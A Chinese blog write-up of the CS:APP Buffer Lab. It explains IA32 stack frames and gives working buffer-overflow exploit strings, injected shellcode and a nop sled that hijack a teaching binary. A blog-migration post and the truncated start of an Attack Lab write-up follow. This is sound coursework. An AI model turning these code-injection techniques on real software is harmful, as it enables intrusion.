实验答案托管在我的Github

Buffer Lab是《深入理解计算机系统》(第二版)中的缓冲区溢出实验,现在已经被Attack Lab替代。为了熟悉IA32的栈帧以及过程调用的原理,于2017年5月10日将该实验完成。

实验简介

Buffer Lab是传统的32位实验,现在已经被Attack Lab替代。在该实验中,需要利用缓冲区溢出漏洞生成攻击代码去修改一个32位的x86可执行程序的运行时行为。

该实验加深了对于栈规则的理解以及说明了缓冲区溢出漏洞可能造成的危险后果。

该实验同Attack Lab非常相似,但是仅仅采用了代码注入攻击作为攻击手段。同时,也要注意x86和x86_64有着不同的栈帧以及过程的调用方式。

IA32的栈帧以及过程调用

IA32的栈帧

IA32的栈帧同x86的栈帧相似,栈从高地址向低地址增长。寄存器%esp保存的是栈帧的栈顶(低地址),寄存器%ebp保存的是栈帧的栈底(高地址)。

调用者的栈帧主要包括了参数区以及返回地址。

被调用者的栈帧的栈底首先是保存的寄存器ebp值(指向调用者的栈底),然后是被保存的寄存器,局部变量以及临时空间,最后是参数构造区。

IA32的过程调用

IA32提供了如下的过程调用指令:

  • call 该指令将返回地址压入调用者的栈帧,并且将程序计数器%eip指向了被调用者的首地址
  • leave 该指令一般位于ret指令之前,等价于mov %ebp,%esp和pop %ebp,主要作用是回收栈空间,并且恢复栈顶(%esp)和栈底(%ebp)使得栈帧恢复为调用者栈帧
  • ret 该指令从栈中弹出返回地址并且让程序计数器eip指向该地址,使程序继续执行被调用者的下一条指令

IA32的过程调用遵循如下的规则:

  1. 首先执行call指令,call会在调用者的栈顶压入返回地址并且使程序计数器指向被调用者
  2. 然后保存调用者的栈底即push %ebp,并且将栈顶设置为被调用者的栈底即mov %esp,%ebp
  3. 分配局部的栈空间,主要用于临时变量的存储
  4. 执行被调用者的指令
  5. 执行leave,释放栈空间并重置栈顶(%esp)和栈底(%ebp),使得恢复为调用者栈帧
  6. 执行ret,过程返回并继续执行调用者的指令

IA32的参数传递规则:
同x86不同,IA32不使用寄存器进行参数的传递,IA32从右到左将参数依次压栈,然后调用相应的过程。

实验准备

实验讲义中主要包含了以下3个可执行文件:

  • bufbomb 你所要攻击的缓冲区炸弹程序
  • makecookie 根据你所输入的userid生成一个cookie
  • hex2raw 一个生成攻击字符串的工具

首先我们要输入userid生成一个cookie供后续使用,命令及结果如下:

1
2
3
user@BlackDragon ~/C/B/buflab-handout> ./makecookie BlackDragon > cookie                          
user@BlackDragon ~/C/B/buflab-handout> cat cookie
0x3dde924c

然后我们要将bufbomb反汇编以供后续攻击使用,命令及结果如下:

1
user@BlackDragon ~/C/B/buflab-handout> objdump -d bufbomb > bufbomb-disassemble

目标程序

目标程序的通过getbuf函数从标准输入流中读取字符串,并且该函数和Attack Lab中的函数一致,且具有缓冲区溢出的漏洞。这里不再赘述。

值得注意的是,bufbomb函数接受如下的参数:

  • -h 打印帮助信息
  • -u userid 你应该一直为程序提供该参数,因为远程计分服务器需要该参数,bufbomb也需要该参数去确定你生成的cookie以确定你的攻击满足了条件,并且若干关键的栈地址也和该userid生成的cookie有关
  • -n 进入’Nitro’模式,在阶段4中使用
  • -s 将你的攻击字符串作为结果提交至计分服务器

同Attack Lab一样,你需要使用hex2raw从攻击代码生成相应的攻击字符串,这里也不再赘述。

实验过程

阶段0:蜡烛(Candle)

在本实验中,关键函数getbuf被test函数调用,getbuf和test函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/* getbuf */
#define NORMAL_BUFFER_SIZE ??
int getbuf()
{
char buf[NORMAL_BUFFER_SIZE];
Gets(buf);
return 1;
}

/* test */
void test()
{
int val;
/* Put canary on stack to detect possible corruption */
volatile int local = uniqueval();

val = getbuf();

/* Check for corrupted stack */
if (local != uniqueval()) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val);
validate(3);
} else {
printf("Dud: getbuf returned 0x%x\n", val);
}
}

现在我们希望test函数从getbuf返回时不执行下一条代码,而是跳转至函数smoke,该函数如下:

1
2
3
4
5
6
void smoke()
{
printf("Smoke!: You called smoke()\n");
validate(0);
exit(0);
}

首先我们需要确定缓冲区的大小,观察bufbomb-disassemble中getbuf的反汇编结果,如下:

1
2
3
4
5
6
7
8
9
10
080491f4 <getbuf>:
80491f4: 55 push %ebp
80491f5: 89 e5 mov %esp,%ebp
80491f7: 83 ec 38 sub $0x38,%esp
80491fa: 8d 45 d8 lea -0x28(%ebp),%eax
80491fd: 89 04 24 mov %eax,(%esp)
8049200: e8 f5 fa ff ff call 8048cfa <Gets>
8049205: b8 01 00 00 00 mov $0x1,%eax
804920a: c9 leave
804920b: c3 ret

注意到函数总共开辟了0x38=56个字节的栈空间,然后lea -0x28(%ebp),%eax mov %eax,(%esp)进行了参数字符串起始地址的构造,考虑到栈从高地址向低地址延伸,而ebp指向栈底,我们可以推测缓冲区总共是0x28=40个字节。

经过实际测试,可以确定缓冲区确实是40个字节。

下面我们观察反汇编代码,可以得出函数smoke的起始地址为0x08048c18,根据以上的信息,我们的攻击代码如下:

1
2
3
4
5
6
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 前40个字节 */
00 00 00 00 18 8c 04 08 /* 保存的%ebp以及返回地址 */

在该阶段中,由于smoke直接使得程序退出,所以我们不需要在意保存的%ebp的值,直接通过缓冲区溢出覆盖返回地址即可。

下面我们使用hex2raw生成攻击字符串并测试。结果如下:

1
2
3
4
5
6
7
user@BlackDragon ~/C/B/buflab-handout> cat level0.txt|./hex2raw|./bufbomb -u BlackDragon             
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:Smoke!: You called smoke()
VALID
NICE JOB!
run with level1

阶段0完成。

阶段1:火花(Sparkler)

现在,我们希望getbuf返回时跳转至函数fizz同时能伪装成已经传递了cookie作为参数,该函数如下:

1
2
3
4
5
6
7
8
9
void fizz(int val)
{
if (val == cookie) {
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
} else
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}

在该阶段中,我们需要注意IA32中,参数是通过调用者的栈进行传递的,我们观察fizz的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
08048c42 <fizz>:
8048c42: 55 push %ebp
8048c43: 89 e5 mov %esp,%ebp
8048c45: 83 ec 18 sub $0x18,%esp
8048c48: 8b 45 08 mov 0x8(%ebp),%eax
8048c4b: 3b 05 08 d1 04 08 cmp 0x804d108,%eax
8048c51: 75 26 jne 8048c79 <fizz+0x37>
8048c53: 89 44 24 08 mov %eax,0x8(%esp)
8048c57: c7 44 24 04 ee a4 04 movl $0x804a4ee,0x4(%esp)
8048c5e: 08
8048c5f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c66: e8 55 fd ff ff call 80489c0 <__printf_chk@plt>
8048c6b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c72: e8 04 07 00 00 call 804937b <validate>
8048c77: eb 18 jmp 8048c91 <fizz+0x4f>
8048c79: 89 44 24 08 mov %eax,0x8(%esp)
8048c7d: c7 44 24 04 40 a3 04 movl $0x804a340,0x4(%esp)
8048c84: 08
8048c85: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c8c: e8 2f fd ff ff call 80489c0 <__printf_chk@plt>
8048c91: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048c98: e8 63 fc ff ff call 8048900 <exit@plt>

从上述反汇编代码的第1行第4行和第5行,我们可以知道函数fizz的起始地址为0x08048c42,val保存在0x8(%ebp)中,cookie保存在固定的地址0x804d108中。根据以上的信息,我们的攻击代码如下:

1
2
3
4
5
6
7
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 前40个字节 */
00 00 00 00 42 8c 04 08 /* 保存的%ebp以及返回地址 */
00 00 00 00 4c 92 de 3d /* cookie */

在该攻击代码中,前48个字节同阶段0一样,只是将返回地址改成了了函数fizz的起始地址。而最后8个字节则是用来伪装成传递参数的。注意函数从getbuf返回后并不会真正的调用fizz函数,而只是依次的开始执行fizz的指令。

因此,从getbuf返回直到获取到参数val这整个过程中,首先getbuf返回会执行复位操作,将栈顶(%esp)指向第40个字节处(从0开始计算,下同),然后将0x0pop至栈底(%ebp),最后根据返回地址跳转至fizz并pop。现在栈顶(%esp)指向了第48个字节。紧接着,直接开始执行fizz的指令,将%ebp(0)入栈,直至执行到mov 0x8(%ebp),%eax,栈顶(%esp)指向第44个字节。所以,我们的cookie应当放在第(44+8=52)个字节处,直到第55个字节为止。

下面我们使用hex2raw生成攻击字符串并测试,如下:

1
2
3
4
5
6
user@BlackDragon ~/C/B/buflab-handout> cat level1.txt|./hex2raw|./bufbomb -u BlackDragon
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:Fizz!: You called fizz(0x3dde924c)
VALID
NICE JOB!

阶段1完成。

阶段2:爆竹(FireCracker)

bufbomb中包含了一个全局变量global_value以及函数bang,如下:

1
2
3
4
5
6
7
8
9
10
int global_value = 0;
void bang(int val)
{
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}

在该阶段中,我们希望函数能在返回时跳转至bang,但是在这之前,要将全局变量global_value的值设置为cookie。

该阶段同Attack Lab第1部分的等级2相似,我们需要将程序计数器%eip指向栈,在栈上执行相应的代码,实现相关的修改,最后从栈上返回至函数bang。

首先我们需要确定在进入getbuf时的栈地址,具体的命令和操作如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
user@BlackDragon ~/C/B/buflab-handout> gdb bufbomb                                           
GNU gdb (GDB) 7.12.1
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from bufbomb...(no debugging symbols found)...done.
(gdb) break getbuf
Breakpoint 1 at 0x80491fa
(gdb) run -u BlackDragon
Starting program: /home/user/CSAPPLabs/BufferLab/buflab-handout/bufbomb -u BlackDragon
Userid: BlackDragon
Cookie: 0x3dde924c

Breakpoint 1, 0x080491fa in getbuf ()
(gdb) disas
Dump of assembler code for function getbuf:
0x080491f4 <+0>: push %ebp
0x080491f5 <+1>: mov %esp,%ebp
0x080491f7 <+3>: sub $0x38,%esp
=> 0x080491fa <+6>: lea -0x28(%ebp),%eax
0x080491fd <+9>: mov %eax,(%esp)
0x08049200 <+12>: call 0x8048cfa <Gets>
0x08049205 <+17>: mov $0x1,%eax
0x0804920a <+22>: leave
0x0804920b <+23>: ret
End of assembler dump.
(gdb) print /x $esp
$1 = 0x55682f18
(gdb) print /x $ebp
$2 = 0x55682f50

通过在gdb中添加断点并观察,我们可以确定在执行函数getbuf时,栈底(%ebp)的值为0x55682f50。

接下来我们要通过gcc和objdump生成攻击代码,具体的操作和Attack Lab相似,我们首先新建一个level2-exploit.s文件,在其中编写相应的攻击代码,如下:

1
2
3
4
mov $0x3dde924c, %eax
mov %eax, 0x804d100 ;设置全局变量
add $16, %esp ;修改栈顶
ret ;返回

然后我们依次使用gcc -m32 -c level2-exploit.sobjdump -d level2-exploit.o > level2-exploit.d将攻击代码汇编和反汇编,具体的命令和结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
user@BlackDragon ~/C/B/buflab-handout> gcc -m32 -c level2-exploit.s                          
user@BlackDragon ~/C/B/buflab-handout> objdump -d level2-exploit.o > level2-exploit.d
user@BlackDragon ~/C/B/buflab-handout> cat level2-exploit.d

level2-exploit.o: 文件格式 elf32-i386


Disassembly of section .text:

00000000 <.text>:
0: b8 4c 92 de 3d mov $0x3dde924c,%eax
5: a3 00 d1 04 08 mov %eax,0x804d100
a: 83 c4 10 add $0x10,%esp
d: c3 ret
 

最后我们根据以上的信息来生成我们最终的攻击代码,如下:

1
2
3
4
5
6
7
8
9
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 前40个字节 */
00 00 00 00 58 2f 68 55 /* 保存的%ebp以及返回地址(在栈上) */
b8 4c 92 de 3d a3 00 d1
04 08 83 c4 10 c3 00 00 /* 攻击代码 */
9d 8c 04 08  /* 返回地址指向函数bang */

下面我们使用hex2raw生成攻击字符串并测试,结果如下:

1
2
3
4
5
6
user@BlackDragon ~/C/B/buflab-handout> cat level2.txt|./hex2raw|./bufbomb -u BlackDragon
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:Bang!: You set global_value to 0x3dde924c
VALID
NICE JOB!

阶段2完成。

阶段3:炸药(Dynamite)

在前面的几个阶段中,我们所有的攻击都导致程序跳转至其他函数并退出。所以,使用会破坏栈的攻击代码是可行的。

在该阶段中,你需要修改程序的寄存器和内存状态,并且使程序能正确的返回值原调用者函数并且不出错。这就意味着你必须:

  1. 在栈上执行机器代码
  2. 将返回指针置于代码的起始
  3. 修复对栈造成的破坏

具体来说,你需要让函数getbuf返回cookie而不是1至函数test。注意到在test中当返回值为cookie时程序会输出”Boom!”。你的攻击代码应当将cookie设置为返回值,恢复任何被破坏的状态,将正确的返回地址push到栈上,最终执行ret指令。

对于该阶段,我们的思路如下:

  1. 缓冲区溢出的部分要保证保存的%ebp不变以方便后续的寻址过程(攻击代码中使用)。然后和阶段2一样,通过溢出使程序跳转至栈上执行相应的攻击代码
  2. 攻击代码首先将返回地址设置为正确的返回地址(调用者的下一条指令)
  3. 然后再将返回值(%eax)设置为cookie
  4. 最终修改栈顶(%esp)并ret

缓冲区溢出攻击后,我们期望的整个程序的执行过程如下:

  1. 跳转至栈上执行代码,此时%esp被修改至第48个字节处,且%ebp中存有正确的值。
  2. 程序执行攻击代码,该攻击代码重置了返回地址,覆盖了getbuf的返回值,修改了栈顶指针并ret
  3. 程序带着完整的栈状态和修改后的返回值返回至test函数,并继续执行

下面我们讨论一下攻击代码中具体的细节。

首先是保存的ebp的值到底是多少,这个我们可以在gdb中直接调试打印得出,为0x55682f80。
栈上的返回地址和阶段2一样,为0x55682f58。

然后我们的攻击代码如下:

1
2
3
4
5
mov $0x8048dbe, %eax ;将真正的返回地址送入%eax
mov %eax, -0x2c(%ebp) ;将%eax送入栈上的正确位置
mov $0x3dde924c, %eax ;修改返回值
sub $4, %esp ;修改栈顶%esp
ret

这里讨论一下为什么是-0x2c(%ebp),保存的%ebp是调用者的栈底,我们观察调用者函数test的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
08048daa <test>:
8048daa: 55 push %ebp
8048dab: 89 e5 mov %esp,%ebp
8048dad: 53 push %ebx
8048dae: 83 ec 24 sub $0x24,%esp
8048db1: e8 da ff ff ff call 8048d90 <uniqueval>
8048db6: 89 45 f4 mov %eax,-0xc(%ebp)
8048db9: e8 36 04 00 00 call 80491f4 <getbuf>
8048dbe: 89 c3 mov %eax,%ebx
8048dc0: e8 cb ff ff ff call 8048d90 <uniqueval>
8048dc5: 8b 55 f4 mov -0xc(%ebp),%edx
8048dc8: 39 d0 cmp %edx,%eax
8048dca: 74 0e je 8048dda <test+0x30>
8048dcc: c7 04 24 88 a3 04 08 movl $0x804a388,(%esp)
8048dd3: e8 e8 fa ff ff call 80488c0 <puts@plt>
8048dd8: eb 46 jmp 8048e20 <test+0x76>
8048dda: 3b 1d 08 d1 04 08 cmp 0x804d108,%ebx
8048de0: 75 26 jne 8048e08 <test+0x5e>
8048de2: 89 5c 24 08 mov %ebx,0x8(%esp)
8048de6: c7 44 24 04 2a a5 04 movl $0x804a52a,0x4(%esp)
8048ded: 08
8048dee: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048df5: e8 c6 fb ff ff call 80489c0 <__printf_chk@plt>
8048dfa: c7 04 24 03 00 00 00 movl $0x3,(%esp)
8048e01: e8 75 05 00 00 call 804937b <validate>
8048e06: eb 18 jmp 8048e20 <test+0x76>
8048e08: 89 5c 24 08 mov %ebx,0x8(%esp)
8048e0c: c7 44 24 04 47 a5 04 movl $0x804a547,0x4(%esp)
8048e13: 08
8048e14: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048e1b: e8 a0 fb ff ff call 80489c0 <__printf_chk@plt>
8048e20: 83 c4 24 add $0x24,%esp
8048e23: 5b pop %ebx
8048e24: 5d pop %ebp
8048e25: c3 ret

我们可以知道函数test在栈上分配了0x24=36个字节的空间,而在这之前栈上还有被push的%ebx占4个字节,那么如果要想要定位到调用者栈顶的返回地址,偏移量应为36+4+4=44=0x2c,考虑到栈自高地址向低地址增长,所以应为-0x2c(%ebp)。

而程序从getbuf返回时栈顶指针并没有指向我们设置的返回地址,而是指向了栈上紧邻着该地址的高地址位置,所以我们需要将%esp-4以确保其指向了我们设置的返回地址,使得程序能正确返回。

下面我们使用gcc和objdump生成攻击代码,并且我们最终的攻击代码如下:

1
2
3
4
5
6
7
8
9
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 前40个字节 */
80 2f 68 55 58 2f 68 55 /* 保存的%ebp和返回地址(位于栈上) */
b8 be 8d 04 08 89 45 d4 /* 攻击代码 */
b8 4c 92 de 3d 83 ec 04
c3

最后我们使用hex2raw生成攻击字符串并测试,结果如下:

1
2
3
4
5
6
user@BlackDragon ~/C/B/buflab-handout> cat level3.txt|./hex2raw|./bufbomb -u BlackDragon         
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:Boom!: getbuf returned 0x3dde924c
VALID
NICE JOB!

阶段3完成。

攻击代码的优化

注意到在上面我们的攻击代码还是很麻烦的,我们不仅花了很大的时间保证被保存的%ebp不变,还调整了栈顶指针使得函数能正确返回。

其实,我们可以使用push returnAddress,ret来达到返回到指定位置的效果。也能直接在攻击代码中设置%ebp的值,这样,我们的攻击代码如下:

1
2
3
4
mov $0x3dde924c,%eax ;返回值
mov $0x55682f80,%ebp ;修改%ebp
push $0x8048dbe ;将返回地址压栈
ret

根据以上的信息重新生成我们的攻击代码:

1
2
3
4
5
6
7
8
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 前40个字节 */
00 00 00 00 58 2f 68 55 /* 保存的%ebp和返回地址(位于栈上)*/
b8 4c 92 de 3d bd 80 2f /* 攻击代码 */
68 55 68 be 8d 04 08 c3

使用hex2raw生成攻击字符串并测试,结果如下:

1
2
3
4
5
6
user@BlackDragon ~/C/B/buflab-handout> cat level3-2.txt|./hex2raw|./bufbomb -u BlackDragon          
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:Boom!: getbuf returned 0x3dde924c
VALID
NICE JOB!

阶段4:硝化甘油(Nitroglycerin)

需要为bufbomb以及hex2raw添加命令行参数’-n’以执行本阶段

本阶段非常的具有挑战性,在本阶段中,函数getbuf的栈帧的位置在每次运行时都是不同的。栈随机化的策略明显提升了攻击的难度。

具体来说,在该阶段中,程序会调用getbufn来从标准输入流中读取数据,和getbuf不同的是,getbufn具有512个字节的缓冲区,并且,在相邻两次getbufn的调用中,%ebp的值将会出现最多+-240的误差。除此以外,在该阶段中,程序总共会使用5次你所输入的字符串,也就是说,总共会调用5次getbufn。同阶段3的任务相似,你必须保证每一次调用getbufn,其返回值均为cookie。

若返回值为cookie,则程序会输出”KABOOM!”。你的攻击代码需要在5次栈帧位置不同的函数getbuf的调用中设置cookie为返回值,恢复对栈造成的破坏,设置正确的返回地址,并最终执行ret执行以返回testn。

在本阶段中我们需要使用一种名为nop雪橇(nop sled)的攻击方式来对抗随机化。具体来说,就是通过在攻击代码前大量插入nop(空操作,编码为90)。这样,就算栈的起始地址在一定范围内波动,只要程序能跳转至其中一个nop指令,就能顺着这一组nop指令滑向我们真正的攻击代码。

首先我们需要考虑的是我们攻击代码的长度,由于必须要通过缓冲区溢出覆盖掉函数getbufn的返回地址,所以攻击代码的长度至少为520个字节的缓冲区,4个字节的被保存的%ebp,以及4个字节的返回地址。

我们将攻击代码放在缓冲区的最后,并且用90(nop)填充所有未被利用到的缓冲区以实现一个nop sled。

具体的攻击代码如下:

1
2
3
4
lea 0x28(%esp), %ebp ;复原%ebp
mov $0x3dde924c, %eax ;设置cookie
push $0x8048e3a ;将返回地址压栈
ret

注意到我们无法再采用阶段3中的办法来复原%ebp了。但是注意到,当函数从getbufn返回时,%esp的值是正确的,而%esp和%ebp的相对差值是固定的,因此我们可以根据函数返回时的%esp去还原%ebp,对于testn来说,%esp和%ebp之间相差了36+4=40=0x28个字节。

最后是返回地址的设定,在gdb中观察可知第一次执行时buf的地址为0x55682f40,因此我们将返回地址设置为0x55682f40-480=0x55682d60可保证每次都能命中。

最终我们的攻击代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /* nop sled */
90 90 90 90 90 90 90 90 90 90 90 90 90 8d 6c 24
28 b8 4c 92 de 3d 68 3a 8e 04 08 c3 60 2d 68 55 /* 攻击代码与返回地址 */

使用hex2raw生成攻击字符串并测试,结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
user@BlackDragon ~/C/B/buflab-handout> cat level4.txt|./hex2raw -n|./bufbomb -u BlackDragon -n  
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:KABOOM!: getbufn returned 0x3dde924c
Keep going
Type string:KABOOM!: getbufn returned 0x3dde924c
Keep going
Type string:KABOOM!: getbufn returned 0x3dde924c
Keep going
Type string:KABOOM!: getbufn returned 0x3dde924c
Keep going
Type string:KABOOM!: getbufn returned 0x3dde924c
VALID
NICE JOB!

阶段4完成。

实验总结

Buffer Lab整体上同Attack Lab的第1部分,代码注入攻击相似,不同在于需要了解IA32的栈帧结构,过程调用以及参数传递的原理。

除此以外,还需要了解对抗栈随机化的一种攻击方式 - nop sled。

评论和共享

迁移说明

发布在 通知

博客历史

  • 本博客自2016年1月4日上线。最早部署于BlackDragon的阿里云上,使用的是WordPress框架,服务器则采用了LAMP环境,DNS解析至一级域名。
  • 博客自上线后曾频繁的出现无法连接至数据库的情况,经过检查可能的原因是Apache占用的内存过大以至于MySQL服务被杀。后采用LNMP环境。
  • 2016年12月12日,将博客整个导出至Hexo并且部署至Github Pages,DNS解析至二级域名blog,原服务器与域名停止解析。

博客迁移

博客迁移的原因
在目前,我仍然希望这个博客的内容能被更多的人关注到,也希望能和更多的人交流,所以向Google和Baidu分别提交了Sitemap。
但是因国内Baidu仍然作为主要的搜索引擎,加上Github屏蔽了Baidu的爬虫,无法让博客的Sitemap被Baidu抓取并索引,在进行了尝试后决定将博客迁移。

在遇到上述问题时,我首先尝试了将hexo生成的博客部署到Github以及Coding两个代码仓库,并通过DNS解析将国内和国外的访问分别解析至Coding和Github,并解决了问题。

但是个人觉得这样做不够优雅,经过考虑还是决定将博客重新迁移至自己的阿里云,使用CentOS7作为Server,Nginx作为Web Server,同时将Github的Repo作为Mirror。

博客于2017年5月11日完成迁移,又于2017年5月12日完成相应的优化调整。

现在你可以访问

这个博客的意义
这个博客不是技术博客(目前),因为我现在并没有足够的技能去支持一个技术博客。我现在仅仅是作为一个学习者记录在学习过程中遇到的各种问题,并且将学到的知识加以总结。欢迎任何的技术交流以及错误指正。
如果我所记录的题目的解答或是实验的报告能够给同样还在学习的你带来帮助,这就是对我最大的鼓励。

迁移过程中遇到的问题

  • 在配置iptables时,我在没有开放22端口的情况下将INPUT的默认策略设置为DROP,直接导致了ssh断开连接,不得不重置了阿里云。
  • /home下的用户文件夹默认不具有读和执行权限,而我的html根目录放在家目录下,这导致了我在部署nginx时出现了403 Forbidden的错误。

优化调整

本次迁移博客同时对于博客做出了以下优化及调整:

  • 将背景图片从PNG格式改为JPG格式,减少网页加载的时间
  • 之前为了美观采用了WQY字体,但是将字体作为资源文件大大延长了加载的时间,现在博客的中文字体采用了Google Fonts中的Noto Sans SC

评论和共享

实验答案托管在我的Github

花了一天时间于2017年5月4日完成了《深入理解计算机系统》的第三个Lab - Attack Lab。这个实验对应于书本第三章:程序的机器级表示中,缓冲区溢出攻击部分。

实验简介

Attack Lab是Buffer Lab的64位版本。在这个实验中,目标是通过代码注入攻击(Code Injection Attack)和返回导向编程(Return Oriented Programming)两种攻击方式,分别修改具有缓冲区溢出漏洞的两个x86_64可执行文件的行为。

本实验主要加深了对于栈规则的理解,以及说明了缓冲区溢出漏洞可能造成的危险后果。

本实验使用了官网给出的自学者讲义中的Ubuntu 12.4 targets,并且使用了运行时参数-q来避免该程序连接远程的计分服务器。

实验准备

实验讲义中的target1.tar主要包含了以下文件:

  • README.txt 描述了目录内容
  • ctarget 一个易受代码注入攻击的可执行程序
  • rtarget 一个易受返回导向编程攻击的可执行程序
  • cookie.txt 在攻击中用到的唯一标识符,是8位的16进制代码
  • farm.c 目标程序的”Gadget Farm”的源代码,你将利用这些代码去生成返回导向编程攻击
  • hex2raw 一个生成攻击字符串的工具

注意事项

答案不能使用攻击去避免程序的正确性检查代码。具体来说,ret指令返回的目的地只能是以下3种:

  • 函数touch1, touch2, touch3的地址
  • 攻击注入代码的地址
  • gadget farm中gadgets的地址

rtarget中只能用函数start_farm和函数end_farm之间的函数来生成gadget。

目标程序

目标程序ctarget和rtarget都使用getbuf函数从标准输入流中读取字符串,getbuf函数如下:

1
2
3
4
5
6
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}

Gets函数同标准库函数gets相似,其从标准输入流中读入以’\n’或者是EOF结尾的字符串并且将其存储在制定的地址。在这段代码中,目标地址是一个长BUFFER_SIZE的字符数组。
但同时Gets()和gets()都不具备检测目的缓冲区是否足够大以存储输入的字符串的功能,因此可能存在缓冲区溢出的风险。在本次实验中,我们要利用该缓冲区溢出漏洞,改变目标程序的行为。

对于自学者来说,运行target的程序的时候需要带上参数-q以避免其连接并不存在的计分服务器。同时需要注意,用来生成攻击字符串的16进制的代码的任意中间位置都不能包含0a,因为其ascii表示是’\n’,在其之后的任意代码都不会被目标程序读入了。

实验过程及分析

第1部分 代码注入(Code Injection)攻击

本部分总共包含3个阶段,需要生成相应的攻击字符串去攻击ctarget。目标文件ctarget的栈位置是固定的,并且栈上的代码可执行。这为我们的代码注入攻击提供了机会。

等级1

阶段一不需要注入自己的代码,攻击字符串只需要将程序重定向至已有的过程即可。

在ctarget中,函数getbuf被test函数调用,而test函数如下:

1
2
3
4
5
6
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}

现在我们需要修改程序的行为,让程序从getbuf返回时不返回到test函数中,而跳转至touch1函数。函数touch1如下:
1
2
3
4
5
6
7
void touch1()
{
vlevel = 1;
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}

首先,我们对于目标可执行程序ctarget使用objdump -d ctarget > ctarget-disassemble生成ctarget的反汇编代码。然后观察反汇编代码中的getbuf函数,如下:

1
2
3
4
5
6
7
8
9
00000000004017a8 <getbuf>:
